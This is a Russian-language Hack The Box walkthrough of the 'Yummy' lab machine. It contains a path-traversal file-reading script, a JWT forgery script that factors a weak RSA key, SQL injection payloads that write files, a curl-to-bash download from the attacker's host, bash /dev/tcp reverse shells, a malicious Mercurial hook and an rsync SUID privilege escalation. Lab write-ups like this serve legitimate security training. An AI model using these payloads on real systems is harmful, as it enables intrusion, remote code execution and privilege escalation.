Се­год­ня я покажу, как иног­да мож­но под­делать крип­тогра­фичес­кий токен, если тебе извес­тны огра­ниче­ния алго­рит­ма. Так­же про­ведем ряд атак на веб‑сер­вер и повысим при­виле­гии в Linux через ути­литу Rsync.

На­ша цель — получе­ние прав супер­поль­зовате­ля на машине Yummy с учеб­ной пло­щад­ки Hack The Box. Уро­вень задания — слож­ный.

warning

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся с при­мене­нием средств ано­ними­зации и вир­туали­зации. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

Разведка

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.36 yummy.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та:

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Результат работы скрипта
Ре­зуль­тат работы скрип­та

Ска­нер нашел два откры­тых пор­та:

Пер­вым делом осмотрим­ся на сай­те.

Главная страница сайта
Глав­ная стра­ница сай­та

Точка входа

На глав­ной стра­нице есть фор­ма бро­ниро­вания сто­ла.

Форма бронирования стола
Фор­ма бро­ниро­вания сто­ла

За­пол­няем все поля фор­мы слу­чай­ными дан­ными и получа­ем ответ, что зап­рос обра­ботан.

Ответ сервера
От­вет сер­вера

За­регис­три­руем­ся на сай­те, ука­зав email, на который был заб­рониро­ван стол. Пос­ле авто­риза­ции на сай­те мож­но най­ти запись о бро­ниро­вании.

Записи о бронировании
За­писи о бро­ниро­вании

На сай­те есть воз­можность сох­ранить запись в фор­мате iCalendar. При этом файл ска­чива­ется с сер­вера, но через обра­бот­чик на эндпо­инте /export. Это мож­но уви­деть в Burp History.

Burp History
Burp History

Точка опоры

LFI

Поп­робу­ем выпол­нить обход катало­га и получить содер­жимое фай­ла /etc/passwd. Для это­го акти­виру­ем перех­ватчик в Burp Proxy и выпол­няем экспорт на сай­те. Пер­вый зап­рос в Burp Proxy про­пус­каем, а во вто­ром изме­ним путь к фай­лу.

Первый запрос в Burp Proxy
Пер­вый зап­рос в Burp Proxy
Второй запрос в Burp Proxy
Вто­рой зап­рос в Burp Proxy

В ито­ге ска­чива­ется ука­зан­ный файл /ect/passwd, а зна­чит, есть уяз­вимость обхо­да катало­га.

Содержимое скачанного файла
Со­дер­жимое ска­чан­ного фай­ла

Экс­плу­ата­ция уяз­вимос­ти усложня­ется тем, что в отве­те сер­вера на пер­вый зап­рос есть одно­разо­вый иден­тифика­тор, который отправ­ляет­ся во вто­ром зап­росе. А зна­чит, для получе­ния любого фай­ла нуж­но выпол­нять два зап­роса.

Для удобс­тва напишем на Python прос­тень­кий скрипт, который будет логинить­ся на сай­те и получать сес­сион­ный JWT, затем вто­рым зап­росом получать одно­разо­вый иден­тифика­тор и уже треть­им — ука­зан­ный файл.

import requests
import json
import sys
def get_access_token():
url = "http://yummy.htb/login"
headers = {
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36",
}
payload = {
"email": "ralf@ralf.com",
"password": "<PASSWORD>"
}
try:
response = requests.post(url, headers=headers, data=json.dumps(payload))
if response.status_code == 200:
data = response.json()
return data.get("access_token")
else:
print(f"Error {response.status_code}")
return None
except requests.RequestException as e:
print(f"Error: {e}")
return None
def get_session_token(access_token):
url = "http://yummy.htb/reminder/21"
headers = {
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36",
"Cookie": "X-AUTH-Token=" + access_token
}
try:
response = requests.get(url, headers=headers, allow_redirects=False)
if response.status_code == 302:
set_cookie = response.headers.get("Set-Cookie")
if set_cookie:
for cookie in set_cookie.split(";"):
if cookie.strip().startswith("session="):
return cookie.strip().split("=", 1)[1]
else:
print("Header Set-Cookie invalid")
return None
else:
print(f"Error {response.status_code}")
return None
except requests.RequestException as e:
print(f"Error: {e}")
return None
def get_export_file(access_token, session_token, filename):
url = "http://yummy.htb/export/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e" + filename
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36",
"Cookie": "X-AUTH-Token=" + access_token + "; session=" + session_token
}
try:
response = requests.get(url, headers=headers)
if response.status_code == 200:
return response.text
else:
print(f"Error {response.status_code}")
return None
except requests.RequestException as e:
print(f"Error: {e}")
return None
access_token = get_access_token()
session_token = get_session_token(access_token)
text = get_export_file(access_token, session_token, sys.argv[1])
print(text)
Содержимое файла /etc/hosts
Со­дер­жимое фай­ла /etc/hosts

Уз­нать мес­то рас­положе­ния исходно­го кода через /proc/self/cmdline не выш­ло, поэто­му прос­то переби­раем инте­рес­ные сис­темные фай­лы. Так доходим до пла­ниров­щика задач cron. Находим три скрип­та, которые обя­затель­но нуж­но изу­чить.

Содержимое файла /etc/crontab
Со­дер­жимое фай­ла /etc/crontab

В /data/scripts/app_backup.sh про­исхо­дит переход в каталог /var/www, где уда­ляет­ся ста­рый backupapp.zip и соз­дает­ся новый, содер­жащий каталог /opt/app.

Содержимое файла app_backup.sh
Со­дер­жимое фай­ла app_backup.sh

В /data/scripts/table_cleanup.sh есть учет­ные дан­ные для под­клю­чения к MySQL.

Содержимое файла table_cleanup.sh
Со­дер­жимое фай­ла table_cleanup.sh

Ку­да слож­нее скрипт /data/scripts/dbmonitor.sh. Изу­чив его, отме­чаем, что если сущес­тву­ет файл /data/scripts/dbstatus.json, то скрипт получит имя фай­ла по мас­ке /data/scripts/fixer-v* и выпол­нит файл в bash.

Содержимое файла dbmonitor.sh
Со­дер­жимое фай­ла dbmonitor.sh

Broken Access

Че­рез бра­узер ска­чива­ем файл /var/www/backupapp.zip, рас­паковы­ваем и перехо­дим к ана­лизу исходно­го кода. Начина­ем с фай­ла app.py. В стро­ках 20–26 рас­положен кон­фиг для под­клю­чения к базе дан­ных. Учет­ные дан­ные сов­пада­ют с теми, что были получе­ны из скрип­та table_cleanup.sh.

Содержимое файла app.py
Со­дер­жимое фай­ла app.py

С 32-й стро­ки опи­сан обра­бот­чик для эндпо­инта /login. Стро­ка 51 рас­кры­вает парамет­ры для фор­мирова­ния JWT.

Содержимое файла app.py
Со­дер­жимое фай­ла app.py

Так­же файл рас­кры­вает эндпо­инт /admindashboard (стро­ка 266). Обра­бот­чик работа­ет с дву­мя парамет­рами зап­роса s и o (стро­ки 280–283). При этом параметр o без какой‑либо филь­тра­ции исполь­зует­ся в SQL-зап­росе к базе дан­ных (стро­ки 285–287).

Содержимое файла app.py
Со­дер­жимое фай­ла app.py

Дос­туп к стра­нице /admindashboard мож­но получить толь­ко с ролью administrator, поэто­му поп­робу­ем под­делать JWT. Клю­чи для JWT фор­миру­ются в фай­ле config/signature.py.

Содержимое файла signature.py
Со­дер­жимое фай­ла signature.py

Скрипт генери­рует пару клю­чей RSA. Сна­чала соз­дают­ся два слу­чай­ных прос­тых чис­ла, которые исполь­зуют­ся для вычис­ления чис­ла n. Далее вычис­ляют­ся фун­кции Эйле­ра и с исполь­зовани­ем откры­той экспо­нен­ты e соз­дает­ся при­ват­ный ключ. Основные парамет­ры для соз­дания клю­чей — это q, n, e и p. Параметр e име­ет стан­дар­тное зна­чение 65 537, а зна­чение n мож­но получить из JWT.

Декодирование JWT с помощью jwt.io
Де­коди­рова­ние JWT с помощью jwt.io

В дан­ном алго­рит­ме уяз­вим параметр q, который генери­рует­ся как слу­чай­ное прос­тое чис­ло в диапа­зоне от 219 до 220 с помощью фун­кции sympy.randprime(2**19, 2**20). Одна­ко этот диапа­зон слиш­ком мал, что поз­воля­ет прос­то переб­рать все воз­можные зна­чения q. Зная n и q, мож­но прос­то вычис­лить p нап­рямую. Таким обра­зом рас­кры­вают­ся все парамет­ры, а зна­чит, и сам зак­рытый ключ.

Сле­дующий скрипт опре­деля­ет парамет­ры, декоди­рует JWT, изме­няет в нем роль и кодиру­ет обратно (зна­чения токена и n сок­ращены).

from Crypto.PublicKey import RSA
import sympy
import jwt
original_jwt = "eyJhb...indORI"
n = 697...1241
e = 65537
p, q = list(sympy.factorint(n).keys())
phi_n = (p - 1) * (q - 1)
d = pow(e, -1, phi_n)
key = RSA.construct((n, e, d))
signing_key = key.export_key()
decoded_payload = jwt.decode(original_jwt, signing_key, algorithms=["RS256"], options={"verify_signature": False})
decoded_payload['role'] = 'administrator'
new_jwt = jwt.encode(decoded_payload, signing_key, algorithm='RS256')
print(new_jwt)

В нас­трой­ках Burp Proxy ста­вим авто­заме­ну ста­рого JWT изме­нен­ным. Пос­ле это­го перехо­дим к стра­нице /admindashboard и получа­ем адми­нис­тра­тив­ные дан­ные.

Настройки Burp Proxy
Нас­трой­ки Burp Proxy
Содержимое страницы admindashboard
Со­дер­жимое стра­ницы admindashboard

SQL Injection

От­пра­вим зап­рос Search by email и прос­мотрим его в Burp History. На сер­вер отправ­ляет­ся как раз тот зап­рос с уяз­вимым к SQL-инъ­екции парамет­ром o.

Запрос на сервер
Зап­рос на сер­вер

Поп­робу­ем добавить к зна­чению ASC наг­рузку ;select+123;. Сер­вер обра­ботал зап­рос и не вер­нул никаких оши­бок.

Запрос и ответ сервера
Зап­рос и ответ сер­вера

Те­перь опре­делим, выпол­няет­ся ли добав­ленный SQL-зап­рос. Будем исполь­зовать задер­жку пять секунд, для чего при­меним наг­рузку ;select+sleep(5);. В пра­вом ниж­нем углу Burp Repeater мож­но видеть вре­мя отве­та сер­вера. Оно пре­выша­ет пять секунд, а зна­чит, наг­рузка отра­бота­ла.

Запрос и ответ сервера
Зап­рос и ответ сер­вера

Поп­робу­ем записать что‑нибудь в файл на сер­вере. Дваж­ды выпол­няем зап­рос с такой наг­рузкой:

select+version()+into+outfile+"/tmp/test.txt";

Во вто­ром отве­те получа­ем ошиб­ку: файл уже сущес­тву­ет.

Запрос и ответ сервера
Зап­рос и ответ сер­вера

У нас появи­лась воз­можность записи фай­лов на сер­вере, а зна­чит, вспом­ним про задачи в cron. Так, мы можем записать /data/scripts/dbstatus.json, что при­ведет к выпол­нению фай­ла /data/scripts/fixer-vqwe, в который мы запишем коман­ду curl+10.10.16.59:8000/rs.sh|bash. Эта коман­да заг­рузит с нашего веб‑сер­вера и выпол­нит реверс‑шелл bash -i >& /dev/tcp/10.10.16.59/4321 0>&1. Откры­ваем лис­тенер (pwncat-cs -lp 4321) и дела­ем два зап­роса со сле­дующи­ми наг­рузка­ми.

select+123+into+outfile+"/data/scripts/dbstatus.json";
Запрос 1 и ответ сервера
Зап­рос 1 и ответ сер­вера
select+"curl+10.10.16.59:8000/rs.sh|bash"+into+outfile+"/data/scripts/fixer-vqwe";
Запрос 2 и ответ сервера
Зап­рос 2 и ответ сер­вера

Спус­тя некото­рое вре­мя с нашего веб‑сер­вера ска­чива­ется реверс‑шелл, а в окне лис­тенера появ­ляет­ся сес­сия в кон­тек­сте служ­бы MySQL.

Логи веб-сервера
Ло­ги веб‑сер­вера
Сессия пользователя MySQL
Сес­сия поль­зовате­ля MySQL

Продвижение

Пользователь www-data

Вер­немся к задачам Cron и обра­тим вни­мание, что скрипт app_backup.sh выпол­няет­ся от име­ни поль­зовате­ля www-data, то есть его запус­кает веб‑сер­вер.

Задачи Cron
За­дачи Cron

Под­нима­ем вто­рой лис­тенер (pwncat-cs -lp 5432) и записы­ваем реверс‑шелл в файл /data/scripts/app_backup.sh. Поч­ти мгно­вен­но получа­ем вто­рую сес­сию от име­ни www-data.

mv /data/scripts/app_backup.sh /data/scripts/app_backup.sh.old
echo 'bash -i >& /dev/tcp/10.10.16.59/5432 0>&1' > /data/scripts/app_backup.sh
Сессия пользователя www-data
Сес­сия поль­зовате­ля www-data

Пользователь qa

У нас есть сес­сия в кон­тек­сте веб‑сер­вера, так что сра­зу поищем пароли в катало­ге с сай­тами.

cd /var/www-data/app-qatesting
grep -iR password ./
Поиск строки password
По­иск стро­ки password

В фай­ле ./.hg/store/data/app.py.i есть сло­во password, но, так как файл не тек­сто­вый, стро­ка не может быть отоб­ражена. Выводим стро­ки из это­го фай­ла коман­дой strings и получа­ем два пароля в откры­том виде.

strings ./.hg/store/data/app.py.i
Строки в файле app.py.i
Стро­ки в фай­ле app.py.i

Ло­гиним­ся от име­ни поль­зовате­ля qa и получа­ем пер­вый флаг.

Флаг пользователя
Флаг поль­зовате­ля

Пользователь dev

Пер­вым делом коман­дой sudo -l про­веря­ем файл sudoers и узна­ём, что поль­зователь qa может выпол­нить коман­ду /usr/bin/hg pull /home/dev/app-production/ от име­ни поль­зовате­ля dev.

Настройки sudoers
Нас­трой­ки sudoers

Ко­ман­да hg харак­терна для Mercurial — сис­темы кон­тро­ля вер­сий, похожей на Git. Как и Git, Mercurial может исполь­зовать хуки, а зна­чит, мы можем зарегис­три­ровать хук и выпол­нить про­изволь­ный скрипт в кон­тек­сте поль­зовате­ля dev. Пер­вым делом запус­тим лис­тенер (pwncat -lp 4321) и сде­лаем скрипт /tmp/rs.sh с реверс‑шел­лом, который будем выпол­нять через хук.

#!/bin/bash
bash -i >& /dev/tcp/10.10.16.59/4321 0>&1

Те­перь соз­дадим репози­торий Mercurial.

mkdir /tmp/hg
cd /tmp/hg
hg init

Ско­пиру­ем файл с нас­трой­ками Mercurial из домаш­него катало­га поль­зовате­ля в соз­данный репози­торий. Затем добавим в него блок hooks.

cp /home/qa/.hgrc /tmp/hg/.hg/hgrc
Исходный файл конфигураций Mercurial
Ис­ходный файл кон­фигура­ций Mercurial
[hooks]
pre-pull = /tmp/rs.sh
Регистрация хука
Ре­гис­тра­ция хука

Те­перь выпол­ним коман­ду pull от име­ни поль­зовате­ля dev и получим сес­сию в pwncat.

sudo -u dev /usr/bin/hg pull /home/dev/app-production/
Сессия пользователя dev
Сес­сия поль­зовате­ля dev

Локальное повышение привилегий

Про­веря­ем нас­трой­ки sudoers для нового поль­зовате­ля. Поль­зователь dev может выпол­нить вот такую коман­ду в при­виле­гиро­ван­ном кон­тек­сте:

/usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/* /opt/app/
Настройки sudoers
Нас­трой­ки sudoers

Rsync — это инс­тру­мент для опти­маль­ной син­хро­низа­ции фай­лов и катало­гов. В нашей коман­де исполь­зует­ся параметр -a, который сох­ранит атри­буты фай­лов при копиро­вании меж­ду катало­гами /home/dev/app-production/ и /opt/app/. Зна­чит, мы можем помес­тить в каталог /home/dev/app-production/ файл коман­дной обо­лоч­ки Bash, наз­начить ему S-бит и ско­пиро­вать любой файл с помощью Rsync, добавив параметр --chown.

Справка: бит SUID

Ког­да у фай­ла уста­нов­лен атри­бут setuid (S-атри­бут), обыч­ный поль­зователь, запус­кающий этот файл, получа­ет повыше­ние прав до поль­зовате­ля — вла­дель­ца фай­ла в рам­ках запущен­ного про­цес­са. Пос­ле получе­ния повышен­ных прав при­ложе­ние может выпол­нять задачи, которые недос­тупны обыч­ному поль­зовате­лю. Из‑за воз­можнос­ти сос­тояния гон­ки мно­гие опе­раци­онные сис­темы игно­риру­ют S-атри­бут, уста­нов­ленный shell-скрип­там.

До­бавить параметр мы можем пос­ле катало­га /home/dev/app-production/, так как в мас­ке даль­ше идет звез­дочка. В резуль­тате у нас получит­ся коман­да, раз­решен­ная для выпол­нения через sudo.

cp /bin/bash ~/app-production/bash
chmod u+s ~/app-production/bash
sudo /usr/bin/rsync -a --exclude=.hg /home/dev/app-production/* --chown root:root /opt/app/
/opt/app/bash -p
Флаг рута
Флаг рута

Ма­шина зах­вачена!